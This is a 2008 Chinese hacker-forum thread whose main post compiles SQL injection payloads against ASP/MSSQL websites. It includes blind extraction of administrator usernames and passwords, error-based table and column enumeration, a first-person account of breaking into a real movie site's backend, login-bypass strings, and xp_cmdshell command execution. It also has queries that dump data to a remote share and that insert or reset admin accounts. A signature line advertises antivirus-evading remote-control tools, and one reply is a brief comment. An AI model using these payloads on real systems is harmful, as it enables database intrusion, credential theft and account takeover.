黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航

黑客论坛 - 公共交流区 - 技术交流 - 浏览 - [分享]Sql脚本注射技巧整理大全
用户体验升级,欢迎参与!        您是本贴第 174 位浏览者 本版版主

帖子主题: [分享]Sql脚本注射技巧整理大全

  • 懒猪猪
  • 等级: 普通用户
  • 发贴: 115 贴
  • 货币: 0 金币
  • 积分: 500 分
  • 经验: 17756 点
  • 体力: 102650 点
  • 注册: 2008-03-14
[分享]Sql脚本注射技巧整理大全
猜表过程--------------------------------------------->  
猜测用户名范围:  
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where len(name)=猜测位数)and ?  
猜测用户密码范围:  
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where len(pwd)=猜测位数)and ’1  
详细猜测:  
用户名依次推算:  
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(name,1,1))>97) and ’1  
继续提交:  
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(name,1,1))=100) and ’1  
密码位推算  
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(pwd,1,1))>97) and ’1  
------------------------------------------------------------  
常见测试方法:  
www.target.com/show.asp?id=1;--(;--在sql语句中表注释)  
www.target.com/show.asp?id=1 or id in (select id from admin)  
如果看到管理员admin表中ID=7,并且密码是admin,也就是长度为5。用最常用的语句带入看看:  
SiteName:good  
SiteUrl:good’ and 7=(select id from admin where len(password)=5) and ’1  

这样sql语句就变成了:  
select * from FriendSite where SiteName=good and SiteUrl=good’ and 7=(select id from admin where len(password)=5) and ’1’  

----------------------------------------------------  
第一步:  
在输入用户名处输入单引号,显示  
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’  
字符串 ’’’ 之前有未闭合的引号。  
/user/wantpws.asp,行63  
说明没有过滤单引号且数据库是MSSQL.  

第二步:  
输入a’;use master;--  
显示  
Microsoft OLE DB Provider for SQL Server 错误 ’80040e21’  
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。  
/user/wantpws.asp,行63  
这样说明没有权限了。  
第三步:  
输入:a’ or name like ’fff%’;--  
第四步:  
在用户名处输入  
ffff’ and 1<>(select count(email) from [user]);--  
显示:  
Microsoft OLE DB Provider for SQL Server 错误 ’80040e37’  
对象名 ’user’ 无效。  
/user/wantpws.asp,行96  
说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.  
(东方飘云的一个办法是输入a’ having 1=1--  
一般返回如下也就可以直接得到表名和一个字段名了  
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’  
列 ’users.ID’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。  
/user/wantpws.asp,行63  

)  
现在我们知道了ffff用户的密码是111111.  
下面通过语句得到数据库中的所有表名和字段名。  
第五步:  
输入:  
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;--  
说明:  
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。  
通过查看ffff的用户资料可得第一个用表叫ad  
然后根据表名ad得到这个表的ID  
ffff’;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;--  
同上可知id是:581577110  
由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了  
象下面这样就可以得到第二个表的名字了  
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;--  
ad 581577110  
users 597577167  
buy 613577224  
car 629577281  
learning 645577338  
log 661577395  
movie 677577452  
movieurl 693577509  
password 709577566  
type 725577623  
talk  
经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的
第六步:猜重要表的字段  
输入:  
现在就看看users表有哪些字段  
ffff’;update [users] set email=(select top 1 col_name(object_id(’users’),3) from users) where name=’ffff’;--  
得到第三个字段是password  
ffff’;update [users] set email=(select top 1 col_name(object_id(’users’),4) from users) where name=’ffff’;--  
得到第四个字段是name  
最后users表的字段共28个全得到了  
(注:另一个得到字段的办法,前提是系统的返回出错信息  
a’ group by ID having 1=1--  
得到  
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’  
列 ’users.userid’ 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。  
/user/wantpws.asp,行63  
这个第二个字段就是userid  
显示第三个字段。  
a’ group by id,userid having 1=1--  
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’  
列 ’users.password’ 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。  
/user/wantpws.asp,行63  
得到是password  
同理,一直显示出所有。:)  
)  
users表  
1 2 3 4  
id userid password name  
5 6 7 8 9 10 11 12 13 14 15 16  
Province homeaddress city adress starlook sex email nlook nos date money send  
17 18 19 20 21 22 23 24 25 26 27 28  
oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note  

starlook--12 10 2003 2:41PM  
nlook---0  
nos---2 登陆次数  
date--12 10 2003 12:00AM 注册时间?  
money--同上  
send--空  
oklook--0  
dnlook--0  
getmoney--0  
state--0  
note--这家伙很。。。 说明  
password表  
1 2 3  
id name pwd  
然后我又试ad原来是用来记录广告击点的。。  
然后又试password表得到有name和pwd字段。  
执行  
ffff’;update [users] set email=(select top 1 name from password) where name=’ffff’;--  
可得第一个用户名是admin123看样儿多半是管理员了。  
然后又得到了密码是dy***dick188还是打星号算了哈哈...  
这样我们就完全进入了这个电影网站的后台了哈哈。  
http://www.dy***.com/login.asp  
再进一步还可以知道管理员一共有三人密码也都能看到了。  
ffff’;update [users] set email=(select top 1 count(id) from password) where name=’ffff’;--  
ffff’;update [users] set email=(select top 1 pwd from password where id=2) where name=’ffff’;--  
ffff’;update [users] set email=(select top 1 name from password where id=2) where name=’ffff’;--  
------------------------------------------------------------  
数据库猜测测试:  
’ or 1=1--  
" or 1=1--  
or 1=1--  
’ or ’a’=’a  
" or "a"="a  
’) or (’a’=’a  
-----------------------------------------------------------------------------  
’; exec master..xp_cmdshell ’ping 10.10.1.2’-- //tftp,防火墙,nc,tcpdump..  
’; EXEC master..sp_makewebtask "\目标ip\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"  
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--  
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’table1’)--  
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25login%25’--  
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’--  
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’)--  
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’,’password’,details’)--  
UNION SELECT TOP 1 login_name FROM admin_login--  
UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’--  
UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’--  
UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’--  
;UPDATE ’admin_login’ SET ’password’ = ’newpas5’ WHERE login_name=’neo’--  
;INSERT INTO ’admin_login’ (’login_id’, ’login_name’, ’password’, ’details’) VALUES (666,’neo2’,’newpas5’,’NA’)--  
-----------------------------------------------------------------------------
国外最新工具下载、免杀远控,天阳网络技术联盟
2008-9-15 9:07:08
  • 上邪
  • 等级: 普通用户
  • 发贴: 38 贴
  • 货币: 0 金币
  • 积分: 145 分
  • 经验: 1365 点
  • 体力: 6515 点
  • 注册: 2007-06-04
Re:[分享]Sql脚本注射技巧整理大全
晕  没人来学习吗  我复制走了  慢慢看 O(∩_∩)O哈哈~
2008-11-23 22:21:16